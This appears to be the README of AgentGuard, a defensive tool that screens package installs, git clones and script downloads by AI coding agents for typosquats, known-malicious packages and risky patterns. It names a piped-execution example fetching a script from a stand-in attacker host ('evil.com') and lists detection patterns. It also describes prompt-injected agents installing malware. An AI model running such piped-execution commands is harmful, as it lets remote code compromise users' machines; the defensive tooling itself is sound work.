AgentGuard

Seguridad en la cadena de suministro de agentes de IA: intercepta y valida cada instalación de paquetes, clonación de git y descarga de scripts activada por agentes de codificación de IA antes de que se ejecute.

GitHub

Prueba este MCPPatrocinado

Documentación

AgentGuard

Seguridad de la cadena de suministro de agentes de IA - Intercepta y valida cada instalación de paquetes, git clone, y descarga de scripts desencadenada por agentes de codificación de IA antes de que se ejecute.

Cuando Claude Code, Codex, Copilot o cualquier asistente de codificación de IA intenta instalar un paquete, AgentGuard lo verifica primero.

$ agentguard scan "npm install lodasx"
[HIGH] typosquat [lodasx]: 'lodasx' looks like typosquat of 'lodash' (distance=1, type=substitution)

Would BLOCK this command (HIGH)

El problema

Los agentes de codificación de IA instalan paquetes, clonan repositorios y ejecutan scripts en tu máquina. Pueden ser engañados por:

Typosquatting - lodahs en lugar de lodash, reqeusts en lugar de requests
Paquetes maliciosos - paquetes comprometidos o con puerta trasera (event-stream, ua-parser-js, colors)
Confusión de dependencias - nombres de paquetes internos ensombrecidos por registros públicos
Ejecución canalizada - curl https://evil.com/install.sh | sh se ejecuta antes de que puedas revisarlo
Confusión de alcance - @angullar/core (error tipográfico) vs @angular/core
Inyección de prompts - una IA a la que se le dice "instala este paquete útil" que en realidad es malware

AgentGuard se sitúa entre la IA y tu sistema, detectando estos antes de que se ejecuten.

Inicio rápido

Instalación

# Via pip (recommended)
pip install agentguard

# Via npm (installs pip package automatically)
npm install -g agentguard

Configuración de un comando para Claude Code

# Install as a hook (blocks CRITICAL/HIGH, warns on MEDIUM)
agentguard install --global

# Or strict mode (also blocks MEDIUM)
agentguard install --global --strict

Eso es todo. Cada llamada a la herramienta Bash en Claude Code ahora pasa primero por AgentGuard.

Escaneo manual

# Scan a command
agentguard scan npm install some-package

# JSON output
agentguard scan --json pip install reqeusts

# Strict mode
agentguard scan --strict "curl -fsSL https://example.com/install.sh | sh"

Qué comprueba

Comprobación	Qué detecta	Velocidad
Lista negra	Paquetes maliciosos conocidos (event-stream, flatmap-stream, crossenv, ctx, ...)	Instantáneo
Typosquatting	Detección de distancia de edición + homoglifos contra los principales paquetes npm/PyPI	Instantáneo
Confusión de alcance	`@angullar/core` vs `@angular/core`	Instantáneo
Patrones peligrosos	`curl\|sh`, `sudo npm install`, registros personalizados, tuberías de decodificación base64	Instantáneo
Metadatos del registro	Edad del paquete < 7 días, sin enlace al repositorio, sin mantenedores	~1s (red)
Verificación del repositorio	El repositorio de GitHub existe, estrellas, bifurcaciones, edad, estado archivado	~1s (red)
VirusTotal	Paquete tarball/URL marcado por motores antivirus	~3s (red)
Fuente en vivo (OSV.dev)	Avisos de paquetes maliciosos en tiempo real (MAL-, GHSA-)	~1s (red, caché 1h)

Niveles de severidad

Severidad	Acción	Ejemplos
CRÍTICO	Bloquear	Malware conocido, detecciones de VT, `curl\|sh`
ALTO	Bloquear	Typosquat (alta confianza), paquete inexistente, instalación con sudo
MEDIO	Advertir	Paquete nuevo (< 7 días), instalación global, registro personalizado
BAJO	Permitir	Hallazgos informativos
INFO	Permitir	Contexto no accionable

Gestores de paquetes compatibles

npm / pnpm / yarn / bun - instalar, añadir, npx/pnpx/bunx
pip / pip3 / uv - instalar
composer - require (PHP/Laravel)
go - get, install
cargo - add, install
gem - instalar
brew - instalar
git - clonar
curl / wget - detección de descargas
Habilidades de Claude Code - verificación de instalación de habilidades

Integración con VirusTotal

Escaneo profundo opcional a través de la API de VirusTotal:

# Set your API key
export VT_API_KEY="your-virustotal-api-key"

# Enable in config
agentguard config init
# Edit ~/.agentguard/config.json and set "check_virustotal": true

# Or per-scan
agentguard scan --json npm install suspicious-package

Qué comprueba VT:

Paquetes tarball de npm (mediante búsqueda de hash shasum)
Archivos de distribución de PyPI (mediante búsqueda de hash sha256)
URLs en comandos curl/wget/git clone
Recurre al envío de URL si no se encuentra el hash

API VT gratuita: 4 solicitudes/minuto, 500/día. Suficiente para el uso normal de agentes.

Modos de uso

1. Hook de Claude Code (recomendado)

Intercepta automáticamente cada comando Bash antes de su ejecución:

agentguard install --global

Esto añade a ~/.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "agentguard hook"
          }
        ]
      }
    ]
  }
}

2. Habilidad de Claude Code

Úsalo como una habilidad bajo demanda con /agentguard:

# Copy skill.md to your skills directory
cp skill.md ~/.claude/skills/agentguard.md

Luego en Claude Code: /agentguard npm install some-package

3. Servidor MCP

Expón AgentGuard como herramientas para cualquier cliente compatible con MCP:

{
  "mcpServers": {
    "agentguard": {
      "command": "agentguard",
      "args": ["mcp"]
    }
  }
}

Herramientas MCP proporcionadas:

agentguard_scan - Escanear un comando de shell
agentguard_check_package - Búsqueda rápida de nombre de paquete
agentguard_config - Ver/modificar configuración

4. CLI

# Scan commands
agentguard scan npm install express
agentguard scan "pip install requests && npm install lodash"
agentguard scan --json "git clone https://github.com/user/repo"

# Configuration
agentguard config show
agentguard config init
agentguard config allow my-internal-package
agentguard config block suspicious-package

# Manage hooks
agentguard install --global
agentguard uninstall

Configuración

Archivo de configuración: ~/.agentguard/config.json

{
  "mode": "normal",
  "block_piped_exec": true,
  "check_typosquat": true,
  "check_registry": true,
  "check_blocklist": true,
  "check_repo": true,
  "check_patterns": true,
  "check_virustotal": false,
  "typosquat_threshold": 2,
  "min_package_age_days": 7,
  "min_downloads": 100,
  "allowlist": ["my-company-internal-pkg"],
  "blocklist_extra": ["known-bad-pkg"],
  "registry_timeout": 5,
  "verbose": false
}

Modos

Modo	Umbral de riesgo	Comportamiento
`strict`	30	Bloquear en MEDIO y superior
`normal`	60	Bloquear en ALTO y superior (predeterminado)
`permissive`	80	Bloquear solo CRÍTICO

Arquitectura

AI Agent (Claude Code / Codex / etc.)
    |
    v
[PreToolUse Hook] -----> agentguard hook (stdin: JSON)
    |
    v
[Command Parser] ------> Extract packages, URLs, patterns
    |
    +---> [Blocklist Check]     (instant, local)
    +---> [Typosquat Check]     (instant, local)
    +---> [Pattern Check]       (instant, local)
    +---> [Registry Check]      (network, npm/PyPI API)
    +---> [Repo Check]          (network, GitHub API)
    +---> [VirusTotal Check]    (network, VT API, optional)
    |
    v
[Verdict] --> ALLOW (exit 0) | BLOCK (exit 2) + stderr findings

Extensión

Añadir paquetes a la lista negra

Edita agentguard/data/blocklist.json o usa:

agentguard config block malicious-package-name

Añadir paquetes populares (reduce falsos positivos)

Añade a agentguard/data/popular_npm.txt o popular_pypi.txt.

Patrones personalizados

Añade patrones regex a la lista agentguard/checks/patterns.py SUSPICIOUS_PATTERNS.

Fuente de seguridad en vivo

AgentGuard consulta OSV.dev (la base de datos de vulnerabilidades de código abierto de Google) en tiempo real para cada instalación de paquete. Esto detecta:

Avisos MAL-* - paquetes maliciosos confirmados reportados por el proyecto OSSF Malicious Packages
Avisos GHSA-* - Avisos de seguridad de GitHub para paquetes comprometidos
CVE críticos - paquetes con vulnerabilidades CVSS 9.0+

Los resultados se almacenan en caché durante 1 hora para evitar limitaciones de velocidad. Actualiza la lista negra local desde las fuentes:

agentguard update

Desarrollo

git clone https://github.com/momenbasel/AgentGuard.git
cd AgentGuard
pip install -e ".[dev]"
pytest -v
ruff check .

Por qué existe esto

Los agentes de codificación de IA son cada vez más autónomos. Leen instrucciones, escriben código e instalan dependencias, a veces a partir de prompts inyectados por atacantes. Un solo paquete con typosquatting en un npm install generado por IA puede comprometer tu máquina.

Este es el cinturón de seguridad para el 'vibe coding'.

Servicios profesionales

AgentGuard es construido y mantenido por GreyCore Labs, una firma de seguridad ofensiva constituida en EE. UU. ¿Quieres el mismo ojo en tu propio producto?

Pruebas de penetración - web, API, móvil, nube. Cotización fija en 24 horas, informe de muestra redactado a petición.
Escaneo gratuito de superficie de ataque externa - informe de una página en 48 horas, sin compromiso.

Licencia

MIT